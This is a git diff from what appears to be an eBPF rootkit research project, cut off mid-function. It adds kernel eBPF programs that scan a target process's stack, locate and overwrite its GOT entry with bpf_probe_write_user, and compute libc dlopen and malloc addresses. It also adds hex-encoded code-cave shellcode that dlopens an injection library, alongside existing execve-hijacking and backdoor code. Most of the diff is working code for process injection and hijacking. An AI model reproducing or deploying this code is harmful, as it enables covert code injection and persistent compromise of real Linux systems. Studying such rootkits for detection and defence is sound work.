diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..c5f2706
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,12 @@
+src/log
+*.aux
+*bcf
+*.blg
+*.fdb_latexmk
+*.fls
+*.lof
+*.log
+*.lot
+*.out
+*.toc
+*.xmpi
\ No newline at end of file
diff --git a/.vscode/settings.json b/.vscode/settings.json
index 17eefb9..d50bb23 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -23,8 +23,6 @@
"ring_buffer.h": "c",
"bpf_helpers.h": "c",
"tcp_helper.h": "c",
- "headervmlinux.h": "c",
- "bpf_endian.h": "c",
- "bpf_core_read.h": "c"
+ "stdio.h": "c"
}
}
\ No newline at end of file
diff --git a/docs/commands/uprobe_analysis b/docs/commands/uprobe_analysis
new file mode 100644
index 0000000..0d2d0ae
--- /dev/null
+++ b/docs/commands/uprobe_analysis
@@ -0,0 +1,4 @@
+readelf -s <>
+readelf -S <>
+
+fn symbol offset = fn symbol VA - .text VA + .text offset
\ No newline at end of file
diff --git a/docs/pdfa.xmpi b/docs/pdfa.xmpi
index 43accb6..0d85033 100644
--- a/docs/pdfa.xmpi
+++ b/docs/pdfa.xmpi
@@ -73,15 +73,15 @@
LaTeX with hyperref
- 2022-04-27T21:49:30-04:00
- 2022-04-27T21:49:30-04:00
- 2022-04-27T21:49:30-04:00
+ 2022-04-27T22:00:08-04:00
+ 2022-04-27T22:00:08-04:00
+ 2022-04-27T22:00:08-04:00
uuid:467B87E0-A1EA-A037-7CB7-0477245DEBC3
- uuid:1331C4CE-3943-8537-B85E-71BFB13A835E
+ uuid:EB64BA93-85C6-C62F-8381-0DA112BD774C
diff --git a/external/libbpf-bootstrap/examples/c/uprobe.c b/external/libbpf-bootstrap/examples/c/uprobe.c
index 55de831..5e0e064 100644
--- a/external/libbpf-bootstrap/examples/c/uprobe.c
+++ b/external/libbpf-bootstrap/examples/c/uprobe.c
@@ -45,7 +45,8 @@ static long get_base_addr() {
while (fscanf(f, "%zx-%*x %s %zx %*[^\n]\n", &start, buf, &offset) == 3) {
if (strcmp(buf, "r-xp") == 0) {
- fclose(f);
+ fclose(f); // 401380 //text offset-> 1290 //text VA->401290
+ //4199296 //4752 //4199056
return start - offset;
}
}
diff --git a/resources/.gdb_history b/resources/.gdb_history
new file mode 100644
index 0000000..f09be61
--- /dev/null
+++ b/resources/.gdb_history
@@ -0,0 +1,91 @@
+q
+disass main
+b main
+r
+q
+b * 0x0000000000001189
+r
+si
+q
+b main
+del 1
+b 0x0000000000001189
+b *0x0000000000001189
+r
+q
+b main
+r
+disass main
+b __init
+q
+starti
+si
+disass main
+q
+starti
+q
+b main
+r
+x/16x *(rbp)
+x/16x *(rbp-0x14)
+d *(rbp-0x14)
+d ç(rbp-0x14)
+p (rbp-0x14)
+p ($rbp-0x14)
+p/d ($rbp-0x14)
+p/x ($rbp-0x14)
+p ($rbp-0x14)
+x/2b ($rbp-0x14)
+x/2b ($rbp-0x20)
+x/8b ($rbp-0x20)
+x/10b ($rbp-0x20)
+x/12b ($rbp-0x20)
+x/20b ($rbp-0x20)
+x/22b ($rbp-0x20)
+x/26b ($rbp-0x20)
+x/28b ($rbp-0x20)
+x/12b ($rbp-0x20)
+x/14b ($rbp-0x20)
+si
+x/10i $rax
+x/10i 0x555555555070
+x/20i 0x555555555070
+x/30i 0x555555555070
+si
+q
+starti
+b main
+c
+si
+b __dlopen
+c
+q
+b main
+r
+si
+ni
+si
+ni
+c
+q
+b main
+r
+si
+ni
+si
+ni
+q
+b main
+r
+si
+find dlopen
+q
+b main
+r
+si
+ni
+q
+b main
+r
+si
+q
diff --git a/resources/DevelopersGuide.pdf b/resources/DevelopersGuide.pdf
new file mode 100644
index 0000000..40b6893
Binary files /dev/null and b/resources/DevelopersGuide.pdf differ
diff --git a/resources/eBPF to lib injection journey.pdf b/resources/eBPF to lib injection journey.pdf
new file mode 100644
index 0000000..433c8b8
Binary files /dev/null and b/resources/eBPF to lib injection journey.pdf differ
diff --git a/resources/example_dlopen b/resources/example_dlopen
new file mode 100755
index 0000000..0411558
Binary files /dev/null and b/resources/example_dlopen differ
diff --git a/resources/example_dlopen.c b/resources/example_dlopen.c
new file mode 100644
index 0000000..daf074d
--- /dev/null
+++ b/resources/example_dlopen.c
@@ -0,0 +1,15 @@
+#include
+#include
+#include
+#include
+
+int main(int argc, char* argv[]){
+
+ void *handle = dlopen("/home/osboxes/TFG/src/helpers/injection_lib.so", RTLD_LAZY);
+
+ if(handle==NULL){
+ perror(dlerror());
+ }
+
+ return 0;
+}
\ No newline at end of file
diff --git a/resources/libinjection_shellcode.asm b/resources/libinjection_shellcode.asm
new file mode 100644
index 0000000..2f9007c
--- /dev/null
+++ b/resources/libinjection_shellcode.asm
@@ -0,0 +1,13 @@
+
+push rax # 50
+push rdx # 52
+push rsi # 56
+push rdi # 57
+mov rax, # 48b8 --> gdb: set *(int64_t *)0x402e95 = 0x7FFFF7D89560B848
+jmp rax # ffe0 --> gdb: set *(int64_t *)0x402e9d = 0xe0ff0000
+
+pop rdi
+pop rsi
+pop rdx
+pop rax
+ret
diff --git a/resources/peda-session-example_dlopen.txt b/resources/peda-session-example_dlopen.txt
new file mode 100644
index 0000000..eea7ff5
--- /dev/null
+++ b/resources/peda-session-example_dlopen.txt
@@ -0,0 +1,2 @@
+break main
+
diff --git a/src/.output/kit.skel.h b/src/.output/kit.skel.h
index 455c423..48c242c 100644
--- a/src/.output/kit.skel.h
+++ b/src/.output/kit.skel.h
@@ -26,6 +26,9 @@ struct kit_bpf {
struct bpf_program *tp_sys_exit_read;
struct bpf_program *tp_sys_enter_openat;
struct bpf_program *tp_sys_enter_execve;
+ struct bpf_program *sys_enter_timerfd_settime;
+ struct bpf_program *sys_exit_timerfd_settime;
+ struct bpf_program *uprobe_execute_command;
struct bpf_program *xdp_receive;
} progs;
struct {
@@ -34,6 +37,9 @@ struct kit_bpf {
struct bpf_link *tp_sys_exit_read;
struct bpf_link *tp_sys_enter_openat;
struct bpf_link *tp_sys_enter_execve;
+ struct bpf_link *sys_enter_timerfd_settime;
+ struct bpf_link *sys_exit_timerfd_settime;
+ struct bpf_link *uprobe_execute_command;
struct bpf_link *xdp_receive;
} links;
struct kit_bpf__bss {
@@ -41,6 +47,22 @@ struct kit_bpf {
} *bss;
struct kit_bpf__rodata {
char tp_sys_enter_read_____fmt[7];
+ char sys_enter_timerfd_settime_____fmt[10];
+ char sys_enter_timerfd_settime_____fmt_1[33];
+ char sys_enter_timerfd_settime_____fmt_2[48];
+ char sys_enter_timerfd_settime_____fmt_3[33];
+ char sys_enter_timerfd_settime_____fmt_4[18];
+ char sys_enter_timerfd_settime_____fmt_5[27];
+ char sys_exit_timerfd_settime_____fmt[48];
+ char sys_exit_timerfd_settime_____fmt_6[27];
+ char sys_exit_timerfd_settime_____fmt_7[34];
+ char sys_exit_timerfd_settime_____fmt_8[24];
+ char uprobe_execute_command_____fmt[18];
+ char uprobe_execute_command_____fmt_9[11];
+ char __pad0[3];
+ char uprobe_execute_command_____fmt_11[44];
+ char uprobe_execute_command_____fmt_12[20];
+ char uprobe_execute_command_____fmt_13[27];
char xdp_receive_____fmt[19];
char xdp_receive_____fmt_1[2];
char xdp_receive_____fmt_2[2];
@@ -228,7 +250,7 @@ kit_bpf__create_skeleton(struct kit_bpf *obj)
s->maps[7].mmaped = (void **)&obj->bss;
/* programs */
- s->prog_cnt = 6;
+ s->prog_cnt = 9;
s->prog_skel_sz = sizeof(*s->progs);
s->progs = (struct bpf_prog_skeleton *)calloc(s->prog_cnt, s->prog_skel_sz);
if (!s->progs)
@@ -254,9 +276,21 @@ kit_bpf__create_skeleton(struct kit_bpf *obj)
s->progs[4].prog = &obj->progs.tp_sys_enter_execve;
s->progs[4].link = &obj->links.tp_sys_enter_execve;
- s->progs[5].name = "xdp_receive";
- s->progs[5].prog = &obj->progs.xdp_receive;
- s->progs[5].link = &obj->links.xdp_receive;
+ s->progs[5].name = "sys_enter_timerfd_settime";
+ s->progs[5].prog = &obj->progs.sys_enter_timerfd_settime;
+ s->progs[5].link = &obj->links.sys_enter_timerfd_settime;
+
+ s->progs[6].name = "sys_exit_timerfd_settime";
+ s->progs[6].prog = &obj->progs.sys_exit_timerfd_settime;
+ s->progs[6].link = &obj->links.sys_exit_timerfd_settime;
+
+ s->progs[7].name = "uprobe_execute_command";
+ s->progs[7].prog = &obj->progs.uprobe_execute_command;
+ s->progs[7].link = &obj->links.uprobe_execute_command;
+
+ s->progs[8].name = "xdp_receive";
+ s->progs[8].prog = &obj->progs.xdp_receive;
+ s->progs[8].link = &obj->links.xdp_receive;
s->data_sz = 99568;
s->data = (void *)"\
diff --git a/src/Makefile b/src/Makefile
index e796b4b..c60cc9d 100644
--- a/src/Makefile
+++ b/src/Makefile
@@ -47,7 +47,7 @@ else
endif
.PHONY: all
-all: $(APPS)
+all: $(APPS) tckit
.PHONY: clean
clean:
@@ -92,12 +92,12 @@ $(USER_INCLUDES_OBJ): $(wildcard $(USER_INCLUDES_SRC)/**/*.h) | $(OUTPUT)
#User code
$(OUTPUT)/%.o: $(USER)/%.c $(wildcard $(USER)/*.h)| $(OUTPUT)
$(call msg,CC,$@)
- $(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(filter $(USER)/%.c,$^) -Wno-deprecated-declarations -o $@
+ $(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(filter $(USER)/%.c,$^) -Wno-deprecated-declarations -o $@ -ldl
# Build application binary
$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) $(USER_INCLUDES_OBJ) | $(OUTPUT)
$(call msg,BINARY,$@)
- $(Q)$(CC) $(CFLAGS) $(INCLUDES) $^ -lelf -lbpf -lz -lssl -lcrypto -Wno-deprecated-declarations -o bin/$@
+ $(Q)$(CC) $(CFLAGS) $(INCLUDES) $^ -lelf -lbpf -lz -lssl -lcrypto -Wno-deprecated-declarations -o bin/$@ -ldl
$(Q)rm $(USER_INCLUDES_OBJ)
tckit: $(abspath $(EBPF)/include/bpf)/tc.c $(LIBBPF_OBJ)
diff --git a/src/common/constants.h b/src/common/constants.h
index ec72954..49ff388 100644
--- a/src/common/constants.h
+++ b/src/common/constants.h
@@ -19,9 +19,36 @@
#define STRING_FS_SUDOERS_ENTRY_LEN 37
//EXECUTION HIJACKING
-#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
+
+#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijackdeactivated\0"
#define EXEC_HIJACK_ACTIVE_TEMP 0
+//LIBRARY INJECTION WITH ROP
+#define TASK_COMM_NAME_ROP_TARGET "simple_timer"
+#define CODE_CAVE_ADDRESS_STATIC 0x0000000000402e95
+#define CODE_CAVE_SHELLCODE_ASSEMBLE_1 \
+"\x55\x50\x51\x52\x53\x57\x56\
+\xbf\x00\x20\x00\x00\x48\xbb"
+#define CODE_CAVE_SHELLCODE_ASSEMBLE_1_LEN 14
+
+#define CODE_CAVE_SHELLCODE_ASSEMBLE_2 \
+"\xff\xd3\x48\x89\xc3\xc7\x00\x2f\x68\x6f\x6d\
+\xc7\x40\x04\x65\x2f\x6f\x73\xc7\x40\x08\x62\x6f\x78\
+\x65\xc7\x40\x0c\x73\x2f\x54\x46\xc7\x40\x10\x47\x2f\
+\x73\x72\xc7\x40\x14\x63\x2f\x68\x65\xc7\x40\x18\x6c\
+\x70\x65\x72\xc7\x40\x1c\x73\x2f\x69\x6e\xc7\x40\x20\
+\x6a\x65\x63\x74\xc7\x40\x24\x69\x6f\x6e\x5f\xc7\x40\
+\x28\x6c\x69\x62\x2e\xc7\x40\x2c\x73\x6f\x00\x00\x48\
+\xb8"
+#define CODE_CAVE_SHELLCODE_ASSEMBLE_2_LEN 90
+
+#define CODE_CAVE_SHELLCODE_ASSEMBLE_3 \
+"\xbe\x01\x00\x00\x00\x48\x89\xdf\
+\x48\x81\xec\x00\x10\x00\x00\xff\
+\xd0\x48\x81\xc4\x00\x10\x00\x00\x5e\
+\x5f\x5b\x5a\x59\x58\x5d\xff\x25\x00\x00\x00\x00"
+#define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 37
+
#define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1
diff --git a/src/common/map_common.h b/src/common/map_common.h
index 3f51a2e..b37aede 100644
--- a/src/common/map_common.h
+++ b/src/common/map_common.h
@@ -11,7 +11,8 @@ typedef enum {
EXIT,
ERROR,
COMMAND,
- PSH_UPDATE
+ PSH_UPDATE,
+ VULN_SYSCALL
} event_type_t;
struct rb_event {
@@ -19,6 +20,14 @@ struct rb_event {
char message[RB_EVENT_MAX_MESSAGE_SIZE];
int code;
struct backdoor_phantom_shell_data bps_data;
+ __u64 syscall_address;
+ __u64 process_stack_return_address;
+ __u64 libc_main_address;
+ __u64 libc_dlopen_mode_address;
+ __u64 libc_malloc_address;
+ __u64 got_address;
+ __s32 got_offset;
+ int relro_active;
event_type_t event_type;
__u32 client_ip;
__u16 client_port;
diff --git a/src/ebpf/include/bpf/defs.h b/src/ebpf/include/bpf/defs.h
index dcf23e2..56679f5 100644
--- a/src/ebpf/include/bpf/defs.h
+++ b/src/ebpf/include/bpf/defs.h
@@ -49,6 +49,14 @@ struct backdoor_packet_log_data_16{
//Map value, contains data of phantom shell, if active
//In struct_common.h, it is used from userspace and kernel many times, so moved there
+struct inj_ret_address_data{ //Map value
+ __u64 libc_syscall_address;
+ __u64 stack_ret_address;
+ __u64 relro_active;
+ __u64 got_address;
+ __s32 got_offset;
+ __s32 padding;
+};
struct fs_priv_open{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
@@ -88,6 +96,15 @@ struct backdoor_priv_phantom_shell{
__uint(pinning, LIBBPF_PIN_BY_NAME);
} backdoor_phantom_shell SEC(".maps");
+
+//Return addresses of syscalls in the shared library, for the library injection
+struct inj_priv_ret_address{ //Map
+ __uint(type, BPF_MAP_TYPE_HASH);
+ __uint(max_entries, 4096);
+ __type(key, __u64); //thread group id(MSB) + pid (LSB)
+ __type(value, struct inj_ret_address_data);
+} inj_ret_address SEC(".maps");
+
/*PROTECTED MAPS*/
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
//Located at /src/map_prot.h
diff --git a/src/ebpf/include/bpf/exec.h b/src/ebpf/include/bpf/exec.h
index 59d1531..c155d48 100644
--- a/src/ebpf/include/bpf/exec.h
+++ b/src/ebpf/include/bpf/exec.h
@@ -120,7 +120,7 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
bpf_printk("Error reading 3\n");
};
- bpf_printk("OLD ARGV0: %s\n", argv[0]);
+ /*bpf_printk("OLD ARGV0: %s\n", argv[0]);
bpf_printk("ARGV1: %s\n", argv[1]);
bpf_printk("ARGV2: %s\n", argv[2]);
//bpf_printk("ENVP: %s\n", envp);
@@ -128,7 +128,7 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
bpf_printk("&FILE: %llx, &ARGV0: %llx, &ARGV1: %llx\n", (void*)(ctx->filename), (void*)&(ctx->argv[0]), (void*)&(ctx->argv[1]));
//bpf_printk("&ARGV: %llx, &ARGV0: %llx\n", ctx->argv, argv[0]);
if((void*)ctx->filename==(void*)(ctx->argv)){
- bpf_printk("Equal pointers");
+ //bpf_printk("Equal pointers");
}else{
//bpf_printk("Not equal pointers %u, %u", ctx->filename, ctx->argv);
}
@@ -174,10 +174,10 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
//Provided that the case error 2 may happen, we check if we are on that case before going ahead and overwriting everything.
if(test_write_user_unique(ctx, (char*)filename, (char*)argv[0])!=0){
- bpf_printk("Test failed\n");
+ //bpf_printk("Test failed\n");
return -1;
}else{
- bpf_printk("Test completed\n");
+ //bpf_printk("Test completed\n");
}
if(bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM))<0){
diff --git a/src/ebpf/include/bpf/injection.h b/src/ebpf/include/bpf/injection.h
new file mode 100644
index 0000000..ff08b71
--- /dev/null
+++ b/src/ebpf/include/bpf/injection.h
@@ -0,0 +1,348 @@
+#ifndef __BPF_INJECTION_H
+#define __BPF_INJECTION_H
+
+
+#include "headervmlinux.h"
+
+#include
+#include
+#include
+
+#include "../../../common/constants.h"
+#include "defs.h"
+#include "../../../common/map_common.h"
+#include "../data/ring_buffer.h"
+
+#define OPCODE_JUMP_BYTE_0 0xe8
+#define OPCODE_PLT_JMP_BYTE_0 0xff
+#define OPCODE_PLT_JMP_BYTE_1 0x25
+#define OPCODE_PLT_RERLO_BYTE_0 0xf3
+#define OPCODE_PLT_RERLO_BYTE_1 0x0f
+#define GLIBC_OFFSET_MAIN_TO_SYSCALL 0xf00d0
+#define GLIBC_OFFSET_MAIN_TO_DLOPEN 0x12f120
+#define GLIBC_OFFSET_MAIN_TO_MALLOC 0x6eca0
+
+struct sys_timerfd_settime_enter_ctx {
+ unsigned long long unused; //Pointer to pt_regs
+ int __syscall_nr;
+ unsigned int padding; //Alignment
+ int ufd;
+ int flags;
+ const struct __kernel_itimerspec *utmr;
+ struct __kernel_itimerspec *otmr;
+};
+
+struct sys_timerfd_settime_exit_ctx {
+ unsigned long long unused; //Pointer to pt_regs
+ int __syscall_nr;
+ unsigned int padding; //Alignment
+ long ret;
+};
+
+/**
+ * @brief Checks whether the format of the syscall is the expected one
+ *
+ * @param opcodes
+ * @param size
+ * @return 0 if correct, 1 otherwise
+ */
+static __always_inline int check_syscall_opcodes(__u8* opcodes){
+ return 0 == (/*opcodes[0]==0xf3 //FOR GDB WORKING TODO REMOVE
+ &&*/ opcodes[1]==0x0f
+ && opcodes[2]==0x1e
+ && opcodes[3]==0xfa
+ && opcodes[4]==0x49
+ && opcodes[5]==0x89
+ && opcodes[6]==0xca
+ && opcodes[7]==0xb8
+ && opcodes[8]==0x1e
+ && opcodes[9]==0x01
+ && opcodes[10]==0x00
+ && opcodes[11]==0x00
+ && opcodes[12]==0x0f
+ && opcodes[13]==0x05);
+
+}
+
+static __always_inline int stack_extract_return_address_plt(__u64 stack_rip){
+ //We have a possible RIP from the stack, to which we can take the previous instruction,
+ //and check if its opcodes correspond with the expected format
+ __u64 *entry_call_addr = (__u64*)(stack_rip - 0x5);
+ __u8 entry_call_opcode_arr[10];
+ if(bpf_probe_read(&entry_call_opcode_arr, 10*sizeof(__u8), entry_call_addr)<0){
+ //bpf_printk("Failed to read stack position\n");
+ return -1;
+ }
+ //bpf_printk(" -- Checking: %lx, res: %x %x", entry_call_addr, entry_call_opcode_arr[0], entry_call_opcode_arr[1]);
+ //bpf_printk("%x %x %x\n", entry_call_opcode_arr[2], entry_call_opcode_arr[3], entry_call_opcode_arr[4]);
+ if (entry_call_opcode_arr[0] != OPCODE_JUMP_BYTE_0) {
+ //bpf_printk(" -- Failed OPCODE: %x\n", entry_call_opcode_arr[0]);
+ return -1;
+ }
+ bpf_printk("Successful entry call address: %lx\n", entry_call_addr);
+
+ //We have localized a call instruction which might be the one we are looking for.
+ //We proceed to get the offset of the call.
+ __s32 offset = 0;
+ __u8* entry_call_addr_8 = (__u8*)(stack_rip - 0x5);
+ if(bpf_probe_read_user(&offset, sizeof(__s32), &entry_call_addr_8[1])<0){ //This takes the 4 MSB omitting the first
+ bpf_printk("Failed to read entry_call_addr[1]\n");
+ return -1;
+ }
+ //bpf_printk("OP64[1]: %x\n", &entry_call_addr[1]);
+ //bpf_printk("OP8[1]: %x\n", &entry_call_addr_8[1]);
+
+ //We now extract to which memory position it jumps via its offset+current position+5 bytes of the
+ //current call instruction.
+ bpf_printk("OFFSET: %x\n", offset);
+ bpf_printk("OP: %lx\n", entry_call_addr);
+ __u64 sum = (uintptr_t)((__u64)(entry_call_addr_8)+offset+5);
+ bpf_printk("SUM: %lx\n", sum);
+ __u64* plt_addr = (__u64*)sum;
+
+ //Using the bytes written in the PLT.GOT section, the PLT jumps to libc, where
+ //the syscall will be called. We can extract the opcodes of this routine and
+ //see if we recognize the syscall as the one we wanted.
+ __u8 libc_opcodes[10];
+ bpf_probe_read_user(&libc_opcodes, 10*sizeof(__u8), plt_addr);
+ bpf_printk("OPCODE0: %x\n", libc_opcodes[0]);
+ bpf_printk("OPCODE1: %x\n", libc_opcodes[1]);
+ bpf_printk("OPCODE5: %x\n", libc_opcodes[5]);
+ bpf_printk("OPCODE6: %x\n", libc_opcodes[6]);
+
+ int plt_found = 0;
+ int relro_active = 0;
+
+ //Check documentation for details on jump recognition.
+ if(libc_opcodes[0]==OPCODE_PLT_JMP_BYTE_0 && libc_opcodes[1]==OPCODE_PLT_JMP_BYTE_1){
+ //If the ELF binary has been compiled without RELRO, the first bytes are expected.
+ plt_found = 1;
+ }else if(libc_opcodes[0]==OPCODE_PLT_RERLO_BYTE_0 && libc_opcodes[1]==OPCODE_PLT_RERLO_BYTE_1 && libc_opcodes[5]==OPCODE_PLT_JMP_BYTE_0 && libc_opcodes[6]==OPCODE_PLT_JMP_BYTE_1){
+ //If the ELF was compiled with RELRO protection.
+ plt_found = 1;
+ relro_active = 1;
+ }
+
+ __u8* plt_addr_arr = (__u8*)plt_addr;
+ if(plt_found == 1){
+ bpf_printk("Found PLT entry\n");
+ __s32 got_offset;
+ __u64* got_addr;
+
+ if(relro_active == 0){
+ //We analyze the offset of the jump specified ff 25 XX XX XX XX
+ //The address to which the jump takes us from the PLT.GOT should be the actual syscall setup
+ bpf_probe_read_user(&got_offset, sizeof(__s32), &plt_addr_arr[2]); //4 LSB
+ //We obtain the address of the jump by adding the offset + our current memory address + 6 bytes of the current instruction
+ got_addr = (u64*)((__u64)(plt_addr_arr) + got_offset + 0x6);
+ bpf_printk("GOT_OFFSET: %lx\n", got_offset);
+ bpf_printk("GOT_ADDR: %lx\n", got_addr);
+ }else {
+ bpf_printk("RELRO detected\n");
+ //Proceed to take into account the endbr64 instruction
+ plt_addr_arr = (__u8*)plt_addr+0x4;
+ //We analyze the offset of the jump specified f2 ff 25 XX XX XX XX
+ //The address to which the jump takes us from the PLT.GOT should be the actual syscall setup
+ bpf_probe_read_user(&got_offset, sizeof(__s32), &plt_addr_arr[3]); //4 LSB + 7 bytes of the current instruction
+ got_addr = (u64*)((__u64)(plt_addr_arr) + got_offset +0x7);
+ bpf_printk("GOT_OFFSET: %lx\n", got_offset);
+ bpf_printk("GOT_ADDR: %lx\n", got_addr);
+ }
+
+ //The actual starting address at which the GOT section points in libc is contained in the previous pointer
+ __u64 got_libc_addr;
+ if(got_addr==NULL){
+ return -1;
+ }
+ bpf_probe_read_user(&got_libc_addr, sizeof(__u64), got_addr);
+ bpf_printk("GOT_ADDR_LIBC: %lx\n",got_libc_addr);
+
+ __u64 buf = CODE_CAVE_ADDRESS_STATIC;
+ //bpf_printk("Now writing to GOT_ADDR_LIBC %lx\n", got_libc_addr);
+ if(bpf_probe_write_user(got_addr, &buf, sizeof(__u64))<0){
+ //Should not work if RELRO active
+ bpf_printk("FAILED TO WRITE JUMP\n");
+ }else{
+ __u64 got_addr_new;
+ bpf_probe_read_user(&got_addr_new, sizeof(__u64), got_addr);
+ bpf_printk("Success, new GOT is %lx", got_addr_new);
+ }
+
+ //Now that we have the address placed in the GOT section we can finally go to the function in glibc
+ //where the syscall resides. We read the opcodes and check that they are the ones expected
+ __u8 s_opcode[14];
+ bpf_probe_read_user(s_opcode, 14*sizeof(__u8), (void*)got_libc_addr);
+ for(int ii=0; ii<14; ii++){
+ //bpf_printk("S_OPC %i: %x\n",ii,s_opcode[ii]);
+ }
+ if(check_syscall_opcodes(s_opcode)!=0){
+ bpf_printk("Not the expected syscall\n");
+ return -1;
+ }
+
+ //We got the expected syscall call in libc. Its format depends on glibc.
+ //We put it in an internal map.
+ __u64 pid_tgid = bpf_get_current_pid_tgid();
+ if(pid_tgid<0){
+ return -1;
+ }
+ struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
+ if (inj_ret_addr != NULL ){
+ //It means we have already performed this whole operation
+ return -1;
+ }
+
+ bpf_printk("Final found libc syscall address: %lx\n", got_libc_addr);
+ struct inj_ret_address_data addr;
+ addr.libc_syscall_address = (__u64)got_libc_addr;
+ addr.stack_ret_address = 0;
+ addr.relro_active = relro_active;
+ addr.got_offset = got_offset;
+ addr.padding = 0;
+ bpf_probe_read(&addr.got_address, sizeof(__u64), &got_addr);
+ bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_ANY);
+
+ return 0;
+ }
+
+
+
+
+ return 0;
+}
+
+
+SEC("tp/syscalls/sys_enter_timerfd_settime")
+int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
+ __u64 *scanner = (__u64*)ctx->otmr;
+ int fd = ctx->ufd;
+
+ char comm[TASK_COMM_LEN] = {0};
+ int err = bpf_get_current_comm(comm, sizeof(comm));
+ if(err<0){
+ return -1;
+ }
+
+ char *task = TASK_COMM_NAME_ROP_TARGET;
+ if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
+ return 0;
+ }
+ bpf_printk("TASK: %s\n", comm);
+
+ long timesecs;
+ //bpf_probe_read_user(×ecs, sizeof(long), &(new->it_interval.tv_sec));
+ //bpf_printk("AG %ld\n",timesecs);
+ __u64 address = 0;
+ bpf_printk("Timer %i to scan at address %lx\n", fd, scanner);
+ #pragma unroll
+ for(__u64 ii=0; ii<200; ii++){
+ //We got a foothold in the stack via the syscall argument, now we scan to lower memory
+ //positions assuming those are the saced RIP. We will then perform checks in order to see
+ //if it truly is the saved RIP (checking that there is a path to the actual syscall).
+ bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii);
+ //bpf_printk("stack: %lx\n", address);
+ if(stack_extract_return_address_plt(address)==0){
+ //We found the return address
+ __u64 found_return_address = *scanner - ii;
+ //We put it in an internal map.
+ __u64 pid_tgid = bpf_get_current_pid_tgid();
+ if(pid_tgid<0){
+ return -1;
+ }
+ struct inj_ret_address_data *addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
+ if (addr == NULL){
+ //It means we failed to insert into the map before
+ return -1;
+ }
+ //struct inj_ret_address_data addr = *inj_ret_addr;
+ //struct inj_ret_address_data addr;
+ //bpf_probe_read(&addr, sizeof(struct inj_ret_address_data), inj_ret_addr);
+ addr->stack_ret_address = (__u64)scanner - ii;
+ if(bpf_map_update_elem(&inj_ret_address, &pid_tgid, addr, BPF_EXIST)<0){
+ bpf_printk("Failed to insert the return address in bpf map\n");
+ return -1;
+ }
+ bpf_printk("Final found return address: %lx\n", addr->stack_ret_address);
+ bpf_printk("GOT address: %lx\n", addr->got_address);
+
+
+ //Tell userspace to perform operations on localized addresses
+ int pid = bpf_get_current_pid_tgid() >> 32;
+ ring_buffer_send_vuln_sys(&rb_comm, pid, addr->libc_syscall_address,
+ addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL,
+ addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN,
+ addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC,
+ addr->got_address, addr->libc_syscall_address, addr->relro_active);
+
+ return 0;
+ }
+ }
+
+ bpf_printk("Finished without findings\n");
+
+
+ return 0;
+}
+
+SEC("tp/syscalls/sys_exit_timerfd_settime")
+int sys_exit_timerfd_settime(struct sys_timerfd_settime_exit_ctx *ctx){
+ char comm[TASK_COMM_LEN] = {0};
+ int err = bpf_get_current_comm(comm, sizeof(comm));
+ if(err<0){
+ return -1;
+ }
+ char *task = TASK_COMM_NAME_ROP_TARGET;
+ if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
+ return 0;
+ }
+
+ //If we are here we may have the return address stored in the map.
+ __u64 pid_tgid = bpf_get_current_pid_tgid();
+ __u32 pid = pid_tgid >> 32;
+ struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
+ if (inj_ret_addr == NULL){
+ //We failed to identify the return address in the previous probe.
+ return -1;
+ }
+
+ struct inj_ret_address_data addr = *inj_ret_addr;
+ bpf_printk("PID: %u, SYSCALL_ADDR: %lx, STACK_RET_ADDR: %lx", pid, addr.libc_syscall_address, addr.stack_ret_address);
+ bpf_printk("Address of libc main: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL);
+ bpf_printk("Address of libc_dlopen_mode: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN);
+ bpf_printk("Address of malloc: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC);
+
+ return 0;
+}
+
+
+
+
+
+//NOT CURRENTLY CONNECTED
+SEC("uprobe/execute_command")
+int uprobe_execute_command(struct pt_regs *ctx){
+ bpf_printk("UPROBE activated\n");
+ bpf_printk("Ret is %lx", ctx->ip);
+
+ char* buf = "A\0";
+ long ret;
+ if((ret = bpf_probe_write_user((void*)ctx->ip, buf,1))>=0){
+ bpf_printk("Success writting? Should not have happened\n");
+ return -1;
+ }
